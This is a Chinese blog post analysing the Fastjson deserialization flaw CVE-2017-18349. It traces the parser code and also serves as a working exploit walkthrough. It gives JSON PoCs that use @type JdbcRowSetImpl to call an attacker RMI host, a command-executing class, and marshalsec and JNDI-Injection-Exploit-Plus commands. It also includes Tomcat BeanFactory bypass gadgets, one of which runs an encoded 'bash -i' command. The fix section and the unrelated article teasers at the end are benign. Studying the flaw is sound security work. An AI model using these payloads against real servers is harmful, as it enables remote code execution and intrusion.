Fastjson漏洞之CVE-2017-18349

前言:

        要想理解漏洞原理,首先看看Fastjson是什么,具体用来做什么才能更好的找到可以利用的场景:

Fastjson 是一个由阿里巴巴开发的 Java 语言实现的高性能 JSON 解析器和生成器。它具有以下特点:

  1. 快速:Fastjson 在序列化和反序列化 JSON 数据方面表现出色,在性能方面优于其他主流 JSON 处理库。

  2. 灵活:Fastjson 支持将 Java Bean 直接转换为 JSON 字符串,也支持将 JSON 字符串直接转换为 Java Bean。它还支持自定义序列化和反序列化规则。

  3. 功能强大:Fastjson 提供了丰富的 API,支持复杂的 JSON 操作,如查询、修改、删除等。

  4. 广泛应用:Fastjson 被广泛应用于阿里巴巴集团内部的众多项目中,并得到了良好的评价。

使用 Fastjson 的基本步骤如下:

        添加 Fastjson 依赖到项目中::

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.78</version>
</dependency>

序列化Java对象为JSON字符串:

User user = new User("John", 30);
String json = JSON.toJSONString(user);

反序列化JSON字符串为Java对象:

String jsonStr = "{\"name\":\"John\",\"age\":30}";
User user = JSON.parseObject(jsonStr, User.class);

使用 Fastjson 提供的丰富 API 进行复杂的 JSON 操作:

JSONObject jsonObject = JSON.parseObject(jsonStr);
String name = jsonObject.getString("name");
int age = jsonObject.getInteger("age");

一般在处理前端数据的时候会用到fastjson,比如用户上传的表单等,后台处理的时候可以使用fastjson进行处理,非常的方便快捷

搭建漏洞环境

下面我们自己搭建一个测试环境,我使用的是springMVC搭建,具体的spring创建过程可以自己查找,这里就不多做介绍,下面介绍下测试代码:

首先是处理前端请求的主函数:

    //设置请求路的径  规定请求的方式是post@RequestMapping(value = "/show.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式public ModelAndView show(){ModelAndView mv = new ModelAndView();//经过InternalResourceViewResolver对象处理后前缀加上后缀就变为了:    /jsp/team/update.jspmv.setViewName("/index");//要经过Springmvc的视图解析器处理,转换成物理资源路径。return mv;}@RequestMapping("/test.do")public ModelAndView testFastJSON(@RequestBody String jsonStr) {ModelAndView mv = new ModelAndView();//java.lang.Runtime// 使用FastJSON解析请求中的JSON数据JSONObject jsonObject = JSON.parseObject(jsonStr);String name = jsonObject.getString("name");int age = jsonObject.getInteger("age");// 创建响应对象Map<String, Object> response = new HashMap<>();response.put("message", "Hello, " + name + "! You are " + age + " years old.");System.out.printf(JSON.toJSONString(response));mv.addObject("backinfor", JSON.toJSONString(response));mv.setViewName("/jsp/show");// 使用FastJSON将响应对象序列化为JSON字符串return mv;}

前端代码index.jsp:

<!DOCTYPE html>
<html>
<head><title>FastJSON Test</title><script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body><h1>FastJSON Test</h1><button id="testButton">Click me</button><div id="result"></div><script>$(document).ready(function() {$('#testButton').click(function() {$.ajax({type: "POST",url: "/test.do",data: JSON.stringify({name: "John", age: 30}),contentType: "application/json; charset=utf-8",dataType: "json",success: function(data) {$('#result').text(data.message);},error: function(xhr, status, error) {console.error(error);}});});});</script>
</body>
</html>

前端代码show.jsp

${backinfor}

pom.xml添加fastjson包,这里使用1.2.24版本:

        <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>

运行下看下效果:

看下数据包:

漏洞复现: 

下面先针对漏洞进行复现,使用poc如下:

{"name":{"@type":"java.net.Inet4Address","val":"g17myc.dnslog.cn"},"age":30
}

发送成功:

可以看到DNSLOG平台获取到了对应的访问信息,证明确实存在漏洞,至于为什么是访问了两次,后面再解释:

漏洞分析:

网上很多教程只将利用,从来不关心漏洞的原理,用一下能成功就行了,那也太没意思了,这里顺带分析下对应的漏洞原理,这里我们要再项目里添加一个新的java文件,来方便理解:

package org.example.controller;import java.io.IOException;
import java.sql.SQLException;public class mytest {public void noSet(String dsName){System.out.printf(dsName);}public void setExecmy(String dsName){System.out.printf(dsName);}public void setType(String type){System.out.printf(type);}public void setDataSourceName(String dsName) throws SQLException {System.out.printf(dsName);}public mytest(){try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {throw new RuntimeException(e);}}
}

 发送如下数据包:

{"name":{"@type":"org.example.controller.mytest","noSet":"noSet","execmy":"execmy","Type":"Type","dataSourceName":"dataSourceName"},"age":30
}

很简单就是测试如何调用到我们自己编写的代码中去,下面就列举一些比较重要的点,其他地方可以自行调试:

首先我们会进入主函数:

com.alibaba.fastjson.parser.DefaultJSONParser的parseObject

再scanSymbol处获取对应的json属性值:

进入com.alibaba.fastjson.parser.JSONLexerBase的scanSymbol方法:

循环获取我们要处理的json的属性值:

然后回到parseObject主函数,这里会判断我们的属性值是否等于@type,如果等于则进入循环:

并且通过如下语句获取到我们type中设置的类方法:

Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

由于我们上一步获取到了对应的clazz,下面我们要对具体的class进行处理,进入到如下方法:

下面要进入一个很有意思的地方,针对反射的处理:

com.alibaba.fastjson.parser.createJavaBeanDeserializer方法生成javaBean

这里我们会根据我们添加的类生成一个反射表来进行后面的调用,具体的生成方法再build中,这里使用asmEnable进行判断,如果是相同的类则不进入,仅对第一次进入的类进行生成:

下面进入到具体的生成方法:

com.alibaba.fastjson.util.build方法

首先会获取指定类中的所有方法,这里可看到其中包含我们刚才添加类中的四个方法另外还有一些基础方法

然后获取到对应的方法名后会判断是否存在set,如果存在则提取出除了set以外的字符:

最后执行如下代码将匹配到的方法添加到接口列表中

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);

执行完成后查看任意反射列表,可以看到我们设置的方法,为后续反射提供了条件:

然后回到主函数后执行,实例化我们的类:

thisObj = deserializer.deserialze(this, clazz, fieldName);

示例化完成后会处理其他参数,会进入到smartMatch方法中:

com.alibaba.fastjson.parser.deserializer.smartMatch

如果在第一步匹配的fieldDeserializer为空,则会进行多轮匹配,具体的匹配规则后续进行研究,感觉可以用来作为绕过的方案:

 其中主要通过this.getFieldDeserializer(key);来进行反射匹配,当我们参数中存在execmy,会对应匹配到setExecmy方法:

 然后就要根据fieldDeserializer进入指定的流程,如果fieldDeserializer不为空,则会反射到对应的方法中

com.alibaba.fastjson.parser.deserializer.parseField方法

具体的反射过程如下:

最后进入setValue方法中反射调用指定方法:

com.alibaba.fastjson.parser.deserializer的setValue方法

对应的参数值:

然后就进入了我们自己编写的代码中执行。

上述大概的流程我们已经走完了,漏洞也很明显了就是没有对@type内容进行校验,进而导致的问题,下面我们针对能触发dnslog的 java.net.Inet4Address进行简单分析,看看是如何触发:

这里需要注意,fastjson中会针对部分类进行特殊处理,当我们使用java.net.Inet4Address的时候会触发:

com.alibaba.fastjson.util的get方法

可以看到对应的value是MiscCodec,即:

com.alibaba.fastjson.serializer.MiscCodec的deserialze

对应的this.buckets列表中可以看到内置的反射方法:

 然后执行thisObj = deserializer.deserialze(this, clazz, fieldName);进入MiscCodec的deserialze方法中,然后执行InetAddress.getByName(strVal),我们的dnslog平台就收到了第一个请求

然后进入代码String name = jsonObject.getString("name");调用的toString是java.net.Inet4Address的toString方法:

然后这里又触发了第二次DNSLOG平台的访问 

 由此我们就完整的分析了漏洞的成因和为何触发了对DNSlog平台的访问

漏洞利用:

利用方法为可以加载任意的类,如果其中带有set方法名的,只要参数中带有对应相同的方法名就会调用到对应的set方法,基于这个目前比较常见的就是使用RMI或者ldap注入

poc如下:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.5.99:9999/mytest","autoCommit":true},"age":30
}

先看下是如何触发的,首先我们使用@type使反射调用com.sun.rowset.JdbcRowSetImpl方法,然后会调用setDataSourceName方法和setAutoCommit方法,看下对应的方法

 可以看到调用了conn = connect();,查看其内部方法,可以看到其调用了lookup方法触发了rmi漏洞:

下面我们尝试执行我们自己编写的恶意代码,代码如下:

public class mytest {public mytest() throws Exception{try {String var0 = "calc";Runtime.getRuntime().exec(var0);} catch (Exception var1) {var1.printStackTrace();}System.out.println();}static {System.out.println("run calc");}
}

然后使用命令javac mytest.java编译为class文件,使用marshalsec搭建RMI服务器:

https://github.com/mbechler/marshalsec
mvn clean package -DskipTests

然后使用如下命令启动RMI服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.99:1234/#mytest" 9999

然后使用如下poc:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.5.99:9999/mytest","autoCommit":true},"age":30
}

这里需要注意高版本的jdk环境会禁止加载远程class

com.sun.naming.internal.VersionHelper12

默认为flase,无法加载远程class文件,但是如果是低版本的java环境可以直接执行:

高版本的可以进行绕过,但是对环境要求较高,需要环境中有对应的jar包,下面我们自己搭建一个rmi的服务器,来进行演示:

服务器代码如下:

package org.example;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Main {public static void main(String[] args) throws Exception {try{Registry registry = LocateRegistry.createRegistry(1088);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));//            ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//            ref.add(new StringRefAddr("forceString", "x=parseClass"));
//            ref.add(new StringRefAddr("x", "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(clac)\n})\ndef x\n"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("calcaa", referenceWrapper);} catch (Exception e) {System.err.println("Server exception: " + e.toString());e.printStackTrace();}}
}

 服务器监听1088端口,设置poc如下:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.5.99:1088/calcaa","autoCommit":true},"age":30
}

发送数据包后触发fastjson漏洞远程访问我们1088的远程rmi服务器,进而触发漏洞执行命令弹出计算器,另外网上还有四种绕过代码如下:

    /** Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor.*/public ResourceRef execByEL() {ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", String.format("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +"\"java.lang.Runtime.getRuntime().exec('%s')\"" +")",this.command)));return ref;}/** (GroovyClassLoader) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.*/public ResourceRef execByGroovy1() {ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=parseClass"));ref.add(new StringRefAddr("x", String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n",this.command)));return ref;}/** (GroovyShell) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.*/public ResourceRef execByGroovy2() {ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=evaluate"));ref.add(new StringRefAddr("x", "'bash -c {echo," +Base64.getEncoder().encodeToString(this.command.getBytes()) +"}|{base64,-d}|{bash,-i}'.execute()"));return ref;}/** Need : WebSphere v6-v9, file content will stop util '#' or '?' or EOF.*/public javax.naming.Reference readfileByWebsphere() {javax.naming.Reference ref = new Reference("ExploitObject","com.ibm.ws.webservices.engine.client.ServiceFactory", null);ref.add(new StringRefAddr("WSDL location", this.codebase+"wsdl/list.wsdl"));ref.add(new StringRefAddr("service namespace","xxx"));ref.add(new StringRefAddr("service local part","yyy"));return ref;}

 读者可以自己搭建服务器进行测试,另外可以使用JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

 执行命令如下:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar  -C "calc" -A "127.0.0.1"

 执行后可以看到可以选用的攻击载荷和对应的地址:

使用的时候只需要选择使用的负载就行,如使用rmi的加载本地文件执行命令的可以使用如下poc:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/localExploitel","autoCommit":true},"age":30
}

 漏洞修复:

>=1.2.25后进行了修复,主要进行两处校验,校验函数为

com.alibaba.fastjson.parser.checkAutoType

引入了autoTypeSupport,如果设置允许则会跳过第二步校验,返回类进行反射,

默认为false,这个时候会进入第二步过滤,如果包含以下22个任一类就会触发异常:

但是java.net.Inet4Address并不在其中,就是说我们还是可以使用dnslog确定网站是否使用fastjson模块,至于如何利用,修复是使用了黑名单的方式进行防御,那么就一定有绕过的方法,具体如何绕过,那就看所处环境里有没有可以利用的代码了 。

漏洞的原理还是较为简单,但是个人感觉其防御采用黑名单的方式还是存在隐患,如果拿到对应服务器的源代码,对源代码审计找到可以利用的函数,即可通过fastjson的rmi或ldap进行利用,并且测试中还是可以利用java.net.Inet4Address来判断服务器是否使用了fastjson来处理json数据,存在隐患。

CVE-2022-25845就是针对CVE-2017-18349的升级版,可以绕过checkAutoType校验,将autoTypeSupport设置为true,具体的后续会进行讲解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/15398.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《我的阿勒泰》读后感

暂没时间写&#xff0c;记录在此&#xff0c;防止忘记&#xff0c;后面补上!!! 【经典语录】 01、如果天气好的话&#xff0c;阳光广阔地照耀着世界&#xff0c;暖洋洋又懒洋洋。这样的阳光下&#xff0c;似乎脚下的每一株草都和我一样&#xff0c;也把身子完全舒展开了。 02、…

OpenHarmony 实战开发——一文总结ACE代码框架

一、前言 ACE_Engine框架是OpenAtom OpenHarmony&#xff08;简称“OpenHarmony”&#xff09;的UI开发框架&#xff0c;为开发者提供在进行应用UI开发时所必需的各种组件&#xff0c;以及定义这些组件的属性、样式、事件及方法&#xff0c;通过这些组件可以方便进行OpenHarmo…

输入输出(3)——C++的标准输入流

目录 一、cin 流 二、成员函数 get 获取一个字符 (一)无参数的get函数。 (二)有一个参数的get函数。 (三&#xff09;有3个参数的get函数 (四&#xff09;用成员函数 getline 函数读取一行字符 (五&#xff09;用成员函数 read 读取一串字符 (六&#xff09;istream 类…

HACL-Net:基于MRI的胎盘植入谱诊断的分层注意力和对比学习网络

文章目录 HACL-Net: Hierarchical Attention and Contrastive Learning Network for MRI-Based Placenta Accreta Spectrum Diagnosis摘要方法实验结果 HACL-Net: Hierarchical Attention and Contrastive Learning Network for MRI-Based Placenta Accreta Spectrum Diagnosis…

NXP i.MX8系列平台开发讲解 - 3.12 Linux 之Audio子系统(一)

专栏文章目录传送门&#xff1a;返回专栏目录 目录 1. Audio 基础介绍 1.1 音频信号 1.2 音频的处理过程 1.3 音频硬件接口 1.3 音频专业术语解释 2. Linux Audio子系统介绍 3. Linux Audio子系统框架 Linux嵌入式系统中的音频子系统扮演着至关重要的角色&#xff0c;它涉…

爬虫案例-亚马逊反爬流程分析梳理(验证码突破)(x-amz-captcha)

总体概览&#xff1a;核心主要是需要突破该网站的验证码&#xff0c;成功后会返回我们需要的参数后再去请求一个中间页&#xff08;类似在后台注册一个session&#xff09;&#xff0c;最后需要注意一下 IP 是不能随意切换的 主要难点&#xff1a; 1、梳理整体反爬流程 2、验证…

哥白尼哨兵系列卫星数据不能下载的解决方法

自2023年1月24日起&#xff0c;一个新的哥白尼数据空间生态系统已经启动&#xff0c;为所有哨兵数据&#xff08;Sentinel-1, Sentinel-2, Sentinel-3 and Sentinel-5P&#xff09;提供可视化和数据处理&#xff0c;地址为&#xff1a;https://dataspace.copernicus.eu/。详细介…

算法刷题笔记 高精度乘法(C++实现)

文章目录 题目描述解题思路解题代码 题目描述 给定两个非负整数&#xff08;不含前导0&#xff09;A和B&#xff0c;请你计算 AB的值。 输入格式 共两行&#xff0c;第一行包含整数 A&#xff0c;第二行包含整数 B。 输出格式 共一行&#xff0c;包含AB的值。 数据范围 …

world machine学习笔记(3)

打开 可以打开场景设置&#xff0c;项目设置平铺构建设置 场景设置&#xff1a; 输出范围 设置中心点和范围 设置分辨率 项目设置&#xff1a; 设置地图颜色&#xff0c;单位&#xff0c;最高地形高度 点击这个图形进行预览设置 该按钮还有其他的功能 world machine基础流程…

知识分享:大数据信用花导致的评分不足多久能恢复

随着金融风控领域越来越科技化&#xff0c;基于大数据技术的金融风控成为了贷前风控不可或缺的重要环节&#xff0c;相信很多人在申贷的时候都听说过大数据信用和综合评分等词语&#xff0c;那大数据信用花导致的评分不足多久能恢复呢?本文带大家一起去了解一下。 首先&#x…

【AI大模型】这可能是最简单的本地大模型工具,无须部署,一键使用

目录 前言 LM-Studio​编辑 那么问题来了&#xff0c;为什么我要在本地部署大模型&#xff1f; 隐私性&#xff1a; 定制性&#xff1a; 成本和体验的优化&#xff1a; 工具功能特点和使用方式介绍&#xff1a; 首页提供搜索功能和一些模型的推荐 模型下载管理&#x…

【Python】 探索Python中的整数最大值和最小值

基本原理 在Python中&#xff0c;整数&#xff08;int&#xff09;类型是一种基本数据类型&#xff0c;用于表示整数。Python的整数类型是动态的&#xff0c;这意味着它们可以自动扩展以存储非常大的数值。然而&#xff0c;尽管Python的整数可以非常大&#xff0c;但它们仍然有…

使用VirtualBox+vagrant创建CentOS7虚拟机

1.VirtualBox 1.1.什么是VirtualBox VirtualBox 是一款开源虚拟机软件。VirtualBox 是由德国 Innotek 公司开发&#xff0c;由Sun Microsystems公司出品的软件&#xff0c;使用Qt编写&#xff0c;在 Sun 被 Oracle 收购后正式更名成 Oracle VM VirtualBox。 1.2.下载Virtual…

【Kafka】消息的顺序性、可靠性、幂等性

目录 消息顺序性消息可靠性生产者丢失消息消费者丢失消息Kafka丢失消息 消息幂等性 消息顺序性 消息追加到partition尾部&#xff0c;单个partition是有序的&#xff0c;但多个partition如何进行有序的获取一些消息&#xff1f; 解决方案 一个topic只设置一个partition&…

驱动执行报“Attribute var: Invalid permissions 0665”

问题&#xff1a;执行驱动的时候会报下面这个错误 WARNING: CPU: 0 PID: 123 at fs/sysfs/group.c:61 internal_create_group0x170/0x264() Attribute var: Invalid permissions 0665 问题分析&#xff1a;查看 fs/sysfs/group.c:61的代码&#xff0c;发现是我设置 module_par…

数组-在两个长度相等的有序数组中找到上中位数

题目描述 解题思路 此题目直接遍历两个列表&#xff0c;时间复杂度为O(n)&#xff1b;使用二分法去比较两个递增列表的中位数&#xff0c;缩小两个数组中位数范围&#xff0c;时间复杂度O(logn)&#xff0c;这里我们的算法实现使用二分法。 通过举例子来说明解题算法&#xf…

Linux驱动学习之模块化,参数传递,符号导出

1.模块化 1.1.模块化的基本概念&#xff1a; 模块化是指将特定的功能或组件独立出来&#xff0c;以便于开发、测试和维护。在Linux设备驱动中&#xff0c;模块化允许将驱动程序作为内核模块动态加载到系统中&#xff0c;从而提高了系统的灵活性和可扩展性。 1.2.Linux内核模…

Vue 3 组件基础与模板语法详解

title: Vue 3 组件基础与模板语法详解 date: 2024/5/24 16:31:13 updated: 2024/5/24 16:31:13 categories: 前端开发 tags: Vue3特性CompositionAPITeleportSuspenseVue3安装组件基础模板语法 Vue 3 简介 1. Vue 3 的新特性 Vue 3引入了许多新的特性&#xff0c;以提高框…

netmask一键修改子网掩码(KALI工具系列八)

目录 1、KALI LINUX简介 2、netmask工具简介 3、在KALI中使用netmask 3.1 目标主机IP&#xff08;win&#xff09; 3.2 KALI的IP 4、命令示例 4.1 查看版本 4.2 修改etho的子网掩码 4.3 查看状态信息 4.4 查看子网掩码 4.5 查看范围 4.6 DNS查看 5.、总结 1、KAL…

【JavaEE进阶】——一万字带你深刻理解Spring IoCDI

目录 &#x1f6a9;Spring是什么 &#x1f388;什么是容器&#xff1f; &#x1f388;什么是 IoC&#xff1f; &#x1f4dd;传统开发思路 &#x1f4dd;IOC思想 &#x1f4dd;IoC 优势 &#x1f388;DI 介绍 &#x1f6a9;IoC 详解 &#x1f388;Bean的存储 &#x…